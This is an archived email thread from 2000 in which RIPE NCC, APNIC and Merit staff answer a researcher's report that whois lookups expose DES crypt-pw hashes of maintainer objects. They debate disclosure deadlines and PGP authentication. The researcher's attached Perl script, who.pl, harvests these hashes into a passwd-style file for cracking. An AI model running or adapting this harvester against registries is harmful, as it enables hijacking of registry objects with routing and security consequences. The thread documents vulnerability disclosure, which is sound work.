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	["17846" "Friday" "1" "December" "2000" "18:39:00" "+0100" "RIPE Database Administration" "ripe-dbm@ripe.net" nil "394" "Re: [APNIC #62050] (technical) Crypted passwords for maintainer objects " "^From:" nil nil "12" nil nil (number " " mark "     RIPE Database Adm Dec  1  394/17846 " thread-indent "\"Re: [APNIC #62050] (technical) Crypted passwords for maintainer objects \"\n") nil nil]
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In-reply-to: Your message of Thu, 30 Nov 2000 11:00:19 +0530.
             <14885.58859.501931.193491@localhost.localdomain> 
References: <14885.58859.501931.193491@localhost.localdomain> 
X-Organization: RIPE Network Coordination Centre
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From: RIPE Database Administration <ripe-dbm@ripe.net>
Sender: ripe-dbm@ripe.net
To: raju@linux-delhi.org
cc: technical@apnic.net (Bruce Campbell via RT), db-admin@radb.net,
        irrd-team@merit.edu, gerald@merit.edu (Gerald Andrew Winters)
Subject: Re: [APNIC #62050] (technical) Crypted passwords for maintainer objects 
Date: Fri, 01 Dec 2000 18:39:00 +0100
Status: RO

Dear Raju Mathur,

 Raju Mathur <raju@linux-delhi.org> writes:
 * [Munging two messages into one reply to keep everyone in sync]
 * 
 * Hi Gerald, Mr/Ms Magee,
 * 
 * Calculate cost of 1% of maintainer objects in the databases getting
 * perverted using a script like the attached one.  Weigh against cost of
 * public outcry if you unilaterally decide to not reveal auth schemes in
 * whois lookups.  Decide which is cheaper.
 * 
 * I'm not going public with the script until either a deadline for
 * changing the whois behaviour determined by you passes, or you decide
 * not to make such a deadline.

In January 1999, RIPE NCC deployed a PGP scheme for authenticating
updates in the RIPE Database and the RIPE NCC encouraged the RIPE
community to use it and continues to do so.
 
The RIPE NCC can only change the functionality of the RIPE Database on
the request of the RIPE Database Working Group, which has a well-defined
procedure for discussing proposed changes.  Its mailing list is
<db-wg@ripe.net> and you are most welcome to express your concerns on
that list and/or at a RIPE meeting. The next meeting is in January 2001, in 
Amsterdam, the Netherlands.

If you have anymore questions, please contact
<ripe-dbm@ripe.net>.

Regards,

A. M. R. Magee
______________
RIPE NCC 

> 
 * 
 * Regards,
 * 
 * -- Raju
 * 
 * >>>>> "RIPE" == RIPE Database Administration via RT <technical@apnic.net> wr
 * ites:
 * 
 *     RIPE> Dear Raju Mathur, This matter was originally raised in
 *     RIPE> October 1994, when the RIPE document ripe-120
 *     RIPE> (ftp://ftp.ripe.net/ripe/docs/ripe-120.txt) was published:
 * 
 *     RIPE> "It is by no means meant to keep out a determined malicious
 *     RIPE> attacker. The crypt function is vulnerable to exhaustive
 *     RIPE> search by (lots of) fast machines and programs to do the
 *     RIPE> searching are widely available.  For this reason it is
 *     RIPE> strongly discouraged to use encrypted passwords also used
 *     RIPE> for other purposes such as Unix login accounts in this
 *     RIPE> scheme. As you are publishing the encrypted password in the
 *     RIPE> database it is open to attack."
 * 
 *     RIPE> This was re-stated in ripe-153 (published in January 1997)
 *     RIPE> and in ripe-157 (published in May 1997).  In November 1998,
 *     RIPE> ripe-189 was published, in which the RIPE NCC announced that
 *     RIPE> it was supporting PGP authentication in the RIPE Database
 *     RIPE> (the scheme is also described in RFC-2726).  In January
 *     RIPE> 1999, the RIPE NCC published ripe-190, offering free PGP
 *     RIPE> licences on request, to anyone who had a mntner object in
 *     RIPE> the RIPE Database.  At every RIPE Meeting since that time,
 *     RIPE> the RIPE NCC has encouraged the RIPE community to adopt PGP
 *     RIPE> authentication.
 * 
 *     RIPE> The RIPE NCC does not manage the data in the RIPE Network
 *     RIPE> Management Database.  The responsibility for maintaining and
 *     RIPE> protecting the data is with those who put the data in there.
 *     RIPE> However, the RIPE NCC has provided a PGP authentication
 *     RIPE> scheme and encourages its use.
 * 
 *     RIPE> You give a one-week deadline before you make a public
 *     RIPE> statement about this.  We cannot unilaterly change the
 *     RIPE> functionality of the RIPE Database; we only act on the
 *     RIPE> instructions of the RIPE Database Working Group, which has a
 *     RIPE> mailing list: <db-wg@ripe.net>.  We invite you to express
 *     RIPE> your concerns on that list.
 * 
 *     RIPE> BTW, this is the first message from you that I have seen.  I
 *     RIPE> am investigating if we received any other message from you
 *     RIPE> previous to this one.
 * 
 *     RIPE> If you have any more questions, please contact
 *     RIPE> <ripe-dbm@ripe.net>.
 * 
 *     RIPE> Kind regards,
 * 
 *     RIPE> A. M. R. Magee ______________ RIPE NCC
 * 
 * 
 *     RIPE>  Raju Mathur <raju@linux-delhi.org> writes: * -----BEGIN PGP
 *     RIPE> SIGNED MESSAGE----- * Hash: SHA1 * * Hi Bruce, * * I've
 *     RIPE> already sent a copy of this mail to RIPE and RADB.  RADB's
 *     RIPE> reply * basically states that ``it's what the users want, so
 *     RIPE> our hands are * tied'', which isn't very heartening.  I'm
 *     RIPE> still awating a response * from RIPE.  * * While I agree
 *     RIPE> that users (in general) should be given what they want, * I
 *     RIPE> would still not (for example) allow a password-less account
 *     RIPE> as a * Unix system administrator.  I have yet to evaluate
 *     RIPE> the extent of * damage that a person with a cracked APNIC,
 *     RIPE> RIPE or RADB password could * do, but I suspect that it
 *     RIPE> could be pretty serious, at least in the * short term.  I
 *     RIPE> presume that even if someone manages to change an * object
 *     RIPE> in your database the owner/maintainer of that object would *
 *     RIPE> still be notified and have the option of correcting the
 *     RIPE> issue; however * even a short-term rogue change in the
 *     RIPE> database can have global routing * and security implications
 *     RIPE> (e.g. a change in the in.addr-arpa database * could be the
 *     RIPE> precursor for major security breaches).  * * Please allow me
 *     RIPE> to reiterate that the policy of displaying CRYPT-PW *
 *     RIPE> passwords without control is viewed by me personally with
 *     RIPE> great * concern, and I suspect that that is the view most
 *     RIPE> security * professionals also would take.  My objective is
 *     RIPE> to have a secure, * stable Internet, and I'm willing to do
 *     RIPE> anything in power to work * towards this goal.  If one of
 *     RIPE> those tasks is to bring potential * security holes into the
 *     RIPE> limelight, I shall do that (by posting to * BUGTRAQ and
 *     RIPE> CERT, albeit reluctantly); before that, however, I would *
 *     RIPE> request you again to fix the problem at the source rather
 *     RIPE> than have * half the script-kiddies in the world trying to
 *     RIPE> attack your databases, * and maybe succeeding.  * * Regards,
 *     RIPE> * * - -- Raju * * >>>>> "Bruce" == Bruce Campbell via RT
 *     RIPE> <technical@apnic.net> writes: * * Bruce>
 *     RIPE> raju@linux-delhi.org wrote (Sat, Nov 25 2000 15:22:36): * >>
 *     RIPE> I see that doing a whois on a maintainer object in your
 *     RIPE> whois * >> database reveals the DES-encrypted password of
 *     RIPE> the maintainer.  * >> As you are aware, it is trivial to
 *     RIPE> brute-force crack (decode) a * >> DES password, and this is
 *     RIPE> a serious security hole in your * >> service.  Please treat
 *     RIPE> this as a critical issue and refrain * >> from revealing the
 *     RIPE> DES-encrypted password in whois lookups.  * * Bruce> The
 *     RIPE> APNIC Whois Databases uses code developed by our sister *
 *     RIPE> Bruce> organisation for Europe (the RIPE NCC) and shares
 *     RIPE> many of * Bruce> the same issues.  The issue regarding the
 *     RIPE> visibility of the * Bruce> 'auth' attribute in the
 *     RIPE> maintainer object has been * Bruce> discussed before,
 *     RIPE> however I regret that I am unable to find * Bruce> an online
 *     RIPE> reference for this discussion.  * * Bruce> I am cc'ing the
 *     RIPE> appropriate address in the RIPE NCC in the * Bruce> hopes
 *     RIPE> that they can provide a more definitive reference ( a *
 *     RIPE> Bruce> reply to the APNIC ticketing system will also reply
 *     RIPE> to the * Bruce> original requestor ).  * * >> I shall be
 *     RIPE> going public with this information in one week.  * >>
 *     RIPE> Request you to have fixed the problem by then.  * * Bruce>
 *     RIPE> Kind regards, * * Bruce> -- Bruce Campbell
 *     RIPE> <bruce.campbell@apnic.net> * Bruce> +61-7-3367-0490 Systems
 *     RIPE> Administrator Regional Internet * Bruce> Registry Asia
 *     RIPE> Pacific Network Information Centre For the * Bruce> Asia
 *     RIPE> Pacific Region http://www.apnic.net/db/ * Bruce>
 *     RIPE> whois.APNIC.net * * * * Bruce>
 *     RIPE> -------------------------------------------- Managed by *
 *     RIPE> Bruce> Request Tracker * -----BEGIN PGP SIGNATURE----- *
 *     RIPE> Version: GnuPG v1.0.1 (GNU/Linux) * Comment: Processed by
 *     RIPE> Mailcrypt 3.5.5 and Gnu Privacy Guard <http://www.gnup *
 *     RIPE> g.org/> * *
 *     RIPE> iEYEARECAAYFAjoiEKgACgkQyWjQ78xo0X/OewCeO209lBqSTBrlWms8j81Lmxtb
 *     RIPE> * vhoAnjvjbJHfE7QQ4scbd8q3ri5bokPF * =mKDL * -----END PGP
 *     RIPE> SIGNATURE----- *
 * 
 * 
 *     RIPE> --- Headers Follow ---
 * 
 *     >> From info@apnic.net Wed Nov 29 20:33:24 2000
 *     RIPE> Received: (from info@localhost) by hadrian.staff.apnic.net
 *     RIPE> (8.9.3/8.9.3) id UAA16430 for technical-ticket; Wed, 29 Nov
 *     RIPE> 2000 20:33:24 +1000 (EST) Received: from guardian.apnic.net
 *     RIPE> (int-gw.staff.apnic.net [192.168.1.254]) by
 *     RIPE> hadrian.staff.apnic.net (8.9.3/8.9.3) with ESMTP id UAA16426
 *     RIPE> for <technical@staff.apnic.net>; Wed, 29 Nov 2000 20:33:24
 *     RIPE> +1000 (EST) Received: (from mail@localhost) by
 *     RIPE> guardian.apnic.net (8.9.3/8.9.3) id UAA29609 for
 *     RIPE> <technical@staff.apnic.net>; Wed, 29 Nov 2000 20:33:24 +1000
 *     RIPE> (EST) Received: from whois1.apnic.net(203.37.255.98) by
 *     RIPE> int-gw.staff.apnic.net via smap (V2.1) id xma029607; Wed, 29
 *     RIPE> Nov 00 20:33:04 +1000 Received: from birch.ripe.net
 *     RIPE> (birch.ripe.net [193.0.1.96]) by ns.apnic.net (8.9.3/8.9.3)
 *     RIPE> with ESMTP id UAA122202 for <technical@apnic.net>; Wed, 29
 *     RIPE> Nov 2000 20:33:04 +1000 (EST) Received: from ripe.net
 *     RIPE> (office.ripe.net [193.0.1.97]) by birch.ripe.net
 *     RIPE> (8.8.8/8.8.8) with ESMTP id LAA24135; Wed, 29 Nov 2000
 *     RIPE> 11:31:26 +0100 (CET) Message-Id:
 *     RIPE> <200011291031.LAA24135@birch.ripe.net> To:
 *     RIPE> raju@linux-delhi.org cc: Bruce Campbell via RT
 *     RIPE> <technical@apnic.net>, gerald@merit.edu (Gerald Andrew
 *     RIPE> Winters), db-admin@radb.net, irrd-team@merit.edu Subject:
 *     RIPE> Re: [APNIC #62050] (technical) Crypted passwords for
 *     RIPE> maintainer objects In-reply-to: Your message of Mon, 27 Nov
 *     RIPE> 2000 13:17:01 +0530.
 *     RIPE> <14882.4469.52414.25633@localhost.localdomain> References:
 *     RIPE> <14882.4469.52414.25633@localhost.localdomain> From: RIPE
 *     RIPE> Database Administration <ripe-dbm@ripe.net> X-Organization:
 *     RIPE> RIPE Network Coordination Centre X-Phone: +31 20 535 4444
 *     RIPE> X-Fax: +31 20 535 4445 Date: Wed, 29 Nov 2000 11:31:25 +0100
 *     RIPE> Sender: ripe-dbm@ripe.net
 * 
 *     RIPE> -------------------------------------------- Managed by
 *     RIPE> Request Tracker
 * 
 * >>>>> "Gerald" == Gerald Andrew Winters <gerald@merit.edu> writes:
 * 
 *     Gerald> Raju,
 *     >> I've already sent a copy of this mail to RIPE and RADB.  RADB's
 *     >> reply basically states that ``it's what the users want, so our
 *     >> hands are tied'', which isn't very heartening.  I'm still
 *     >> awating a response from RIPE.
 * 
 *     Gerald> Your characterization of my comments is true.  However, I
 *     Gerald> had much more to say.  I will forward my original response
 *     Gerald> after this email so that others can draw their own
 *     Gerald> conclusions.
 * 
 *     >> While I agree that users (in general) should be given what they
 *     >> want, I would still not (for example) allow a password-less
 *     >> account as a Unix system administrator.
 * 
 *     Gerald> This is an unfair analogy.  The relationship between a
 *     Gerald> Unix sysadmin and his network is very much different
 *     Gerald> between and entire community of users and the registries.
 * 
 *     Gerald> A sysadmin simply su's and makes whatever changes are
 *     Gerald> desired.  In contrast, changes to the technology used at
 *     Gerald> the registries come about from the open standards process.
 *     Gerald> This means changes take place at a slower pace through the
 *     Gerald> meetings and with appoval from the entire community.  The
 *     Gerald> reason for this is to avoid dictatorship and general
 *     Gerald> anarachy.  The price for this is a slower migration path
 *     Gerald> for changes.
 * 
 *     >> I have yet to evaluate the extent of damage that a person with
 *     >> a cracked APNIC, RIPE or RADB password could do, but I suspect
 *     >> that it could be pretty serious, at least in the short term.
 * 
 *     Gerald> Very true.
 * 
 *     >> Please allow me to reiterate that the policy of displaying
 *     >> CRYPT-PW passwords without control is viewed by me personally
 *     >> with great concern, and I suspect that that is the view most
 *     >> security professionals also would take.  My objective is to
 *     >> have a secure, stable Internet, and I'm willing to do anything
 *     >> in power to work towards this goal.  If one of those tasks is
 *     >> to bring potential security holes into the limelight,
 * 
 *     Gerald> Very true.  However, your remark is akin to me making an
 *     Gerald> Internet announcement something like, "SNMP v1 community
 *     Gerald> strings are transmitted in cleartext.  This is terrible!
 *     Gerald> You have 1 week to fix it and then I'm going public."
 *     Gerald> It's old news.  We all know it and dislike it as much as
 *     Gerald> you.
 * 
 *     Gerald> And what about "MAIL-FROM" authentication?  You do not
 *     Gerald> include this in your remarks.  Certainly your observations
 *     Gerald> would be more potent by adding "MAIL-FROM".
 * 
 *     Gerald> Have you read RFC 2726?  Do you realize that all users can
 *     Gerald> use this form of authentication?
 * 
 *     >> I shall do that (by posting to BUGTRAQ and CERT, albeit
 *     >> reluctantly); before that, however, I would request you again
 *     >> to fix the problem at the source rather than have half the
 *     >> script-kiddies in the world trying to attack your databases,
 *     >> and maybe succeeding.
 * 
 *     Gerald> The registries will not unilaterally go into the
 *     Gerald> database's and change data or implement new sercurity
 *     Gerald> features without the approval of the community.  What you
 *     Gerald> are suggesting won't work anyway (ie, you still have the
 *     Gerald> "MAIL-FROM" problem).
 * 
 *     Gerald> We are all sympathatic to your criticism.  In fact the
 *     Gerald> RIPE NCC and myself have gotten up numerous times at
 *     Gerald> public forums (ripe, ietf, ...)  and urged the public to
 *     Gerald> convert to PGP authentication.  The registries agree with
 *     Gerald> you but real change must come from the community.
 * 
 *     Gerald> I would suggest to you to come to the meetings and make
 *     Gerald> your proposal.  I'm sure you will have *many* supporters.
 * 
 *     Gerald> --Gerald Winters
 * 
 * --[[application/octet-stream
 * Content-Disposition: attachment; filename="who.pl"][quoted-printable]]
 * #!/usr/bin/perl -w
 * #
 * # Brute force create a /etc/passwd-like file with DES-encrypted passwords=
 * 
 * # from dumb whois lookups on RIPE and APNIC.  Can be easily modified
 * # to handle RADB too.  Once the file is created, run Crack (or your favou=
 * rite
 * # DES-crack program) on it and create some headache for the ``Internet
 * # community'' which has decided to reveal DES-encoded passwords as part
 * # of a whois lookup on a maintainer object.
 * #
 * # Copyright 2000, Raju Mathur <raju@linux-delhi.org>, <raju@kandalaya.org=
 * >
 * #
 * # This program is available under the terms of the GNU General Public Lic=
 * ense
 * #
 * use strict ;
 * #
 * # Currently will work on RIPE and APNIC
 * #
 * my
 *   $count =3D 0 ;
 * my
 *   $outfile =3D shift ;
 * my
 *   $registry =3D shift ;
 * if ( !defined $outfile || !defined $registry
 *      || $registry !~ /apnic/i && $registry !~ /ripe/i )
 * {
 *   print STDERR "usage: $0 output-file APNIC|RIPE [start AS] [end AS]\n" ;=
 * 
 *   exit 1 ;
 * }
 * open OUT , ">$outfile"
 *   or die "Cannot write to $outfile: $!\n" ;
 * my
 *   $startas =3D shift ;
 * $startas =3D 1
 *   if !defined $startas ;
 * my
 *   $endas =3D shift ;
 * $endas =3D 12000
 *   if !defined $endas ;
 * my
 *   $server =3D "whois.apnic.net" ;
 * $server =3D "whois.ripe.net"
 *   if $registry =3D~ /ripe/i ;
 * my
 *   $maintainer ;
 * my
 *   $descr ;
 * my
 *   $notify ;
 * my
 *   $auth ;
 * my
 *   $passwd ;
 * foreach my $i ( $startas..$endas )
 * {
 *   print "*** AS$i\n" ;
 *   open WHOIS , "whois AS$i\@$server|"
 *     or die "Cannot whois AS$i: $!\n" ;
 *   while ( <WHOIS> )
 *   {
 *     if ( /^mnt-by:\s*(.*)/ )
 *     {
 *       $maintainer =3D $1 ;
 *       last ;
 *     }
 *   }
 *   close WHOIS ;
 *   next
 *     if !$maintainer ;
 *   print "*** $maintainer\n" ;
 *   open WHOIS , "whois $maintainer\@$server|"
 *     or die "Cannot whois $maintainer: $!\n" ;
 *   $descr =3D "" ;
 *   while ( <WHOIS> )
 *   {
 *     if ( $_ =3D~ /^descr:\s*(.*)/ )
 *     {
 *       $descr .=3D "$1, " ;
 *     }
 *     if ( $_ =3D~ /^mnt-nfy:\s*(.*)/ )
 *     {
 *       $notify =3D $1 ;
 *     }
 *     if ( $_ =3D~ /^auth:\s*(.*)/ )
 *     {
 *       $auth =3D $1 ;
 *     }
 *     last if $auth && $auth =3D~ /crypt-pw/i ;
 *   }
 *   next
 *     if !$auth || $auth !~ /crypt-pw/i ;
 * print "*** <$descr> <$notify> <$auth>\n" ;
 *   close WHOIS ;
 *   $auth =3D~ /.*crypt-pw\s*(.*)/i ;
 *   $passwd =3D $1 ;
 *   $descr =3D~ s/[\n:]//g ;
 *   $notify =3D~ s/://g ;
 *   print OUT "$maintainer:$passwd:42:42:$descr:/dev/null:/bin/sh\n" ;
 *   $auth =3D "" ;
 *   $count++ ;
 * }
 * close OUT ;
 * print "$count records\n" ;
 * 

From technical@apnic.net  Sat Dec  2 09:02:19 2000
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	["19664" "Saturday" "2" "December" "2000" "03:39:23" "+1000" "RIPE Database Administration  via RT" "technical@apnic.net" nil "432" "[APNIC #62050] (technical) Crypted passwords for maintainer objects " "^From:" nil nil "12" nil nil (number " " mark "     RIPE Database Adm Dec  2  432/19664 " thread-indent "\"[APNIC #62050] (technical) Crypted passwords for maintainer objects \"\n") nil nil]
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Reply-To: RIPE Database Administration  via RT <technical@apnic.net>
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From: RIPE Database Administration  via RT <technical@apnic.net>
To: raju@linux-delhi.org
Cc: 
Subject: [APNIC #62050] (technical) Crypted passwords for maintainer objects 
Date: Sat, 2 Dec 2000 03:39:23 +1000 (EST)
Status: RO

Dear Raju Mathur,

 Raju Mathur <raju@linux-delhi.org> writes:
 * [Munging two messages into one reply to keep everyone in sync]
 * 
 * Hi Gerald, Mr/Ms Magee,
 * 
 * Calculate cost of 1% of maintainer objects in the databases getting
 * perverted using a script like the attached one.  Weigh against cost of
 * public outcry if you unilaterally decide to not reveal auth schemes in
 * whois lookups.  Decide which is cheaper.
 * 
 * I'm not going public with the script until either a deadline for
 * changing the whois behaviour determined by you passes, or you decide
 * not to make such a deadline.

In January 1999, RIPE NCC deployed a PGP scheme for authenticating
updates in the RIPE Database and the RIPE NCC encouraged the RIPE
community to use it and continues to do so.
 
The RIPE NCC can only change the functionality of the RIPE Database on
the request of the RIPE Database Working Group, which has a well-defined
procedure for discussing proposed changes.  Its mailing list is
<db-wg@ripe.net> and you are most welcome to express your concerns on
that list and/or at a RIPE meeting. The next meeting is in January 2001, in 
Amsterdam, the Netherlands.

If you have anymore questions, please contact
<ripe-dbm@ripe.net>.

Regards,

A. M. R. Magee
______________
RIPE NCC 

> 
 * 
 * Regards,
 * 
 * -- Raju
 * 
 * >>>>> "RIPE" == RIPE Database Administration via RT <technical@apnic.net> wr
 * ites:
 * 
 *     RIPE> Dear Raju Mathur, This matter was originally raised in
 *     RIPE> October 1994, when the RIPE document ripe-120
 *     RIPE> (ftp://ftp.ripe.net/ripe/docs/ripe-120.txt) was published:
 * 
 *     RIPE> "It is by no means meant to keep out a determined malicious
 *     RIPE> attacker. The crypt function is vulnerable to exhaustive
 *     RIPE> search by (lots of) fast machines and programs to do the
 *     RIPE> searching are widely available.  For this reason it is
 *     RIPE> strongly discouraged to use encrypted passwords also used
 *     RIPE> for other purposes such as Unix login accounts in this
 *     RIPE> scheme. As you are publishing the encrypted password in the
 *     RIPE> database it is open to attack."
 * 
 *     RIPE> This was re-stated in ripe-153 (published in January 1997)
 *     RIPE> and in ripe-157 (published in May 1997).  In November 1998,
 *     RIPE> ripe-189 was published, in which the RIPE NCC announced that
 *     RIPE> it was supporting PGP authentication in the RIPE Database
 *     RIPE> (the scheme is also described in RFC-2726).  In January
 *     RIPE> 1999, the RIPE NCC published ripe-190, offering free PGP
 *     RIPE> licences on request, to anyone who had a mntner object in
 *     RIPE> the RIPE Database.  At every RIPE Meeting since that time,
 *     RIPE> the RIPE NCC has encouraged the RIPE community to adopt PGP
 *     RIPE> authentication.
 * 
 *     RIPE> The RIPE NCC does not manage the data in the RIPE Network
 *     RIPE> Management Database.  The responsibility for maintaining and
 *     RIPE> protecting the data is with those who put the data in there.
 *     RIPE> However, the RIPE NCC has provided a PGP authentication
 *     RIPE> scheme and encourages its use.
 * 
 *     RIPE> You give a one-week deadline before you make a public
 *     RIPE> statement about this.  We cannot unilaterly change the
 *     RIPE> functionality of the RIPE Database; we only act on the
 *     RIPE> instructions of the RIPE Database Working Group, which has a
 *     RIPE> mailing list: <db-wg@ripe.net>.  We invite you to express
 *     RIPE> your concerns on that list.
 * 
 *     RIPE> BTW, this is the first message from you that I have seen.  I
 *     RIPE> am investigating if we received any other message from you
 *     RIPE> previous to this one.
 * 
 *     RIPE> If you have any more questions, please contact
 *     RIPE> <ripe-dbm@ripe.net>.
 * 
 *     RIPE> Kind regards,
 * 
 *     RIPE> A. M. R. Magee ______________ RIPE NCC
 * 
 * 
 *     RIPE>  Raju Mathur <raju@linux-delhi.org> writes: * -----BEGIN PGP
 *     RIPE> SIGNED MESSAGE----- * Hash: SHA1 * * Hi Bruce, * * I've
 *     RIPE> already sent a copy of this mail to RIPE and RADB.  RADB's
 *     RIPE> reply * basically states that ``it's what the users want, so
 *     RIPE> our hands are * tied'', which isn't very heartening.  I'm
 *     RIPE> still awating a response * from RIPE.  * * While I agree
 *     RIPE> that users (in general) should be given what they want, * I
 *     RIPE> would still not (for example) allow a password-less account
 *     RIPE> as a * Unix system administrator.  I have yet to evaluate
 *     RIPE> the extent of * damage that a person with a cracked APNIC,
 *     RIPE> RIPE or RADB password could * do, but I suspect that it
 *     RIPE> could be pretty serious, at least in the * short term.  I
 *     RIPE> presume that even if someone manages to change an * object
 *     RIPE> in your database the owner/maintainer of that object would *
 *     RIPE> still be notified and have the option of correcting the
 *     RIPE> issue; however * even a short-term rogue change in the
 *     RIPE> database can have global routing * and security implications
 *     RIPE> (e.g. a change in the in.addr-arpa database * could be the
 *     RIPE> precursor for major security breaches).  * * Please allow me
 *     RIPE> to reiterate that the policy of displaying CRYPT-PW *
 *     RIPE> passwords without control is viewed by me personally with
 *     RIPE> great * concern, and I suspect that that is the view most
 *     RIPE> security * professionals also would take.  My objective is
 *     RIPE> to have a secure, * stable Internet, and I'm willing to do
 *     RIPE> anything in power to work * towards this goal.  If one of
 *     RIPE> those tasks is to bring potential * security holes into the
 *     RIPE> limelight, I shall do that (by posting to * BUGTRAQ and
 *     RIPE> CERT, albeit reluctantly); before that, however, I would *
 *     RIPE> request you again to fix the problem at the source rather
 *     RIPE> than have * half the script-kiddies in the world trying to
 *     RIPE> attack your databases, * and maybe succeeding.  * * Regards,
 *     RIPE> * * - -- Raju * * >>>>> "Bruce" == Bruce Campbell via RT
 *     RIPE> <technical@apnic.net> writes: * * Bruce>
 *     RIPE> raju@linux-delhi.org wrote (Sat, Nov 25 2000 15:22:36): * >>
 *     RIPE> I see that doing a whois on a maintainer object in your
 *     RIPE> whois * >> database reveals the DES-encrypted password of
 *     RIPE> the maintainer.  * >> As you are aware, it is trivial to
 *     RIPE> brute-force crack (decode) a * >> DES password, and this is
 *     RIPE> a serious security hole in your * >> service.  Please treat
 *     RIPE> this as a critical issue and refrain * >> from revealing the
 *     RIPE> DES-encrypted password in whois lookups.  * * Bruce> The
 *     RIPE> APNIC Whois Databases uses code developed by our sister *
 *     RIPE> Bruce> organisation for Europe (the RIPE NCC) and shares
 *     RIPE> many of * Bruce> the same issues.  The issue regarding the
 *     RIPE> visibility of the * Bruce> 'auth' attribute in the
 *     RIPE> maintainer object has been * Bruce> discussed before,
 *     RIPE> however I regret that I am unable to find * Bruce> an online
 *     RIPE> reference for this discussion.  * * Bruce> I am cc'ing the
 *     RIPE> appropriate address in the RIPE NCC in the * Bruce> hopes
 *     RIPE> that they can provide a more definitive reference ( a *
 *     RIPE> Bruce> reply to the APNIC ticketing system will also reply
 *     RIPE> to the * Bruce> original requestor ).  * * >> I shall be
 *     RIPE> going public with this information in one week.  * >>
 *     RIPE> Request you to have fixed the problem by then.  * * Bruce>
 *     RIPE> Kind regards, * * Bruce> -- Bruce Campbell
 *     RIPE> <bruce.campbell@apnic.net> * Bruce> +61-7-3367-0490 Systems
 *     RIPE> Administrator Regional Internet * Bruce> Registry Asia
 *     RIPE> Pacific Network Information Centre For the * Bruce> Asia
 *     RIPE> Pacific Region http://www.apnic.net/db/ * Bruce>
 *     RIPE> whois.APNIC.net * * * * Bruce>
 *     RIPE> -------------------------------------------- Managed by *
 *     RIPE> Bruce> Request Tracker * -----BEGIN PGP SIGNATURE----- *
 *     RIPE> Version: GnuPG v1.0.1 (GNU/Linux) * Comment: Processed by
 *     RIPE> Mailcrypt 3.5.5 and Gnu Privacy Guard <http://www.gnup *
 *     RIPE> g.org/> * *
 *     RIPE> iEYEARECAAYFAjoiEKgACgkQyWjQ78xo0X/OewCeO209lBqSTBrlWms8j81Lmxtb
 *     RIPE> * vhoAnjvjbJHfE7QQ4scbd8q3ri5bokPF * =mKDL * -----END PGP
 *     RIPE> SIGNATURE----- *
 * 
 * 
 *     RIPE> --- Headers Follow ---
 * 
 *     >> From info@apnic.net Wed Nov 29 20:33:24 2000
 *     RIPE> Received: (from info@localhost) by hadrian.staff.apnic.net
 *     RIPE> (8.9.3/8.9.3) id UAA16430 for technical-ticket; Wed, 29 Nov
 *     RIPE> 2000 20:33:24 +1000 (EST) Received: from guardian.apnic.net
 *     RIPE> (int-gw.staff.apnic.net [192.168.1.254]) by
 *     RIPE> hadrian.staff.apnic.net (8.9.3/8.9.3) with ESMTP id UAA16426
 *     RIPE> for <technical@staff.apnic.net>; Wed, 29 Nov 2000 20:33:24
 *     RIPE> +1000 (EST) Received: (from mail@localhost) by
 *     RIPE> guardian.apnic.net (8.9.3/8.9.3) id UAA29609 for
 *     RIPE> <technical@staff.apnic.net>; Wed, 29 Nov 2000 20:33:24 +1000
 *     RIPE> (EST) Received: from whois1.apnic.net(203.37.255.98) by
 *     RIPE> int-gw.staff.apnic.net via smap (V2.1) id xma029607; Wed, 29
 *     RIPE> Nov 00 20:33:04 +1000 Received: from birch.ripe.net
 *     RIPE> (birch.ripe.net [193.0.1.96]) by ns.apnic.net (8.9.3/8.9.3)
 *     RIPE> with ESMTP id UAA122202 for <technical@apnic.net>; Wed, 29
 *     RIPE> Nov 2000 20:33:04 +1000 (EST) Received: from ripe.net
 *     RIPE> (office.ripe.net [193.0.1.97]) by birch.ripe.net
 *     RIPE> (8.8.8/8.8.8) with ESMTP id LAA24135; Wed, 29 Nov 2000
 *     RIPE> 11:31:26 +0100 (CET) Message-Id:
 *     RIPE> <200011291031.LAA24135@birch.ripe.net> To:
 *     RIPE> raju@linux-delhi.org cc: Bruce Campbell via RT
 *     RIPE> <technical@apnic.net>, gerald@merit.edu (Gerald Andrew
 *     RIPE> Winters), db-admin@radb.net, irrd-team@merit.edu Subject:
 *     RIPE> Re: [APNIC #62050] (technical) Crypted passwords for
 *     RIPE> maintainer objects In-reply-to: Your message of Mon, 27 Nov
 *     RIPE> 2000 13:17:01 +0530.
 *     RIPE> <14882.4469.52414.25633@localhost.localdomain> References:
 *     RIPE> <14882.4469.52414.25633@localhost.localdomain> From: RIPE
 *     RIPE> Database Administration <ripe-dbm@ripe.net> X-Organization:
 *     RIPE> RIPE Network Coordination Centre X-Phone: +31 20 535 4444
 *     RIPE> X-Fax: +31 20 535 4445 Date: Wed, 29 Nov 2000 11:31:25 +0100
 *     RIPE> Sender: ripe-dbm@ripe.net
 * 
 *     RIPE> -------------------------------------------- Managed by
 *     RIPE> Request Tracker
 * 
 * >>>>> "Gerald" == Gerald Andrew Winters <gerald@merit.edu> writes:
 * 
 *     Gerald> Raju,
 *     >> I've already sent a copy of this mail to RIPE and RADB.  RADB's
 *     >> reply basically states that ``it's what the users want, so our
 *     >> hands are tied'', which isn't very heartening.  I'm still
 *     >> awating a response from RIPE.
 * 
 *     Gerald> Your characterization of my comments is true.  However, I
 *     Gerald> had much more to say.  I will forward my original response
 *     Gerald> after this email so that others can draw their own
 *     Gerald> conclusions.
 * 
 *     >> While I agree that users (in general) should be given what they
 *     >> want, I would still not (for example) allow a password-less
 *     >> account as a Unix system administrator.
 * 
 *     Gerald> This is an unfair analogy.  The relationship between a
 *     Gerald> Unix sysadmin and his network is very much different
 *     Gerald> between and entire community of users and the registries.
 * 
 *     Gerald> A sysadmin simply su's and makes whatever changes are
 *     Gerald> desired.  In contrast, changes to the technology used at
 *     Gerald> the registries come about from the open standards process.
 *     Gerald> This means changes take place at a slower pace through the
 *     Gerald> meetings and with appoval from the entire community.  The
 *     Gerald> reason for this is to avoid dictatorship and general
 *     Gerald> anarachy.  The price for this is a slower migration path
 *     Gerald> for changes.
 * 
 *     >> I have yet to evaluate the extent of damage that a person with
 *     >> a cracked APNIC, RIPE or RADB password could do, but I suspect
 *     >> that it could be pretty serious, at least in the short term.
 * 
 *     Gerald> Very true.
 * 
 *     >> Please allow me to reiterate that the policy of displaying
 *     >> CRYPT-PW passwords without control is viewed by me personally
 *     >> with great concern, and I suspect that that is the view most
 *     >> security professionals also would take.  My objective is to
 *     >> have a secure, stable Internet, and I'm willing to do anything
 *     >> in power to work towards this goal.  If one of those tasks is
 *     >> to bring potential security holes into the limelight,
 * 
 *     Gerald> Very true.  However, your remark is akin to me making an
 *     Gerald> Internet announcement something like, "SNMP v1 community
 *     Gerald> strings are transmitted in cleartext.  This is terrible!
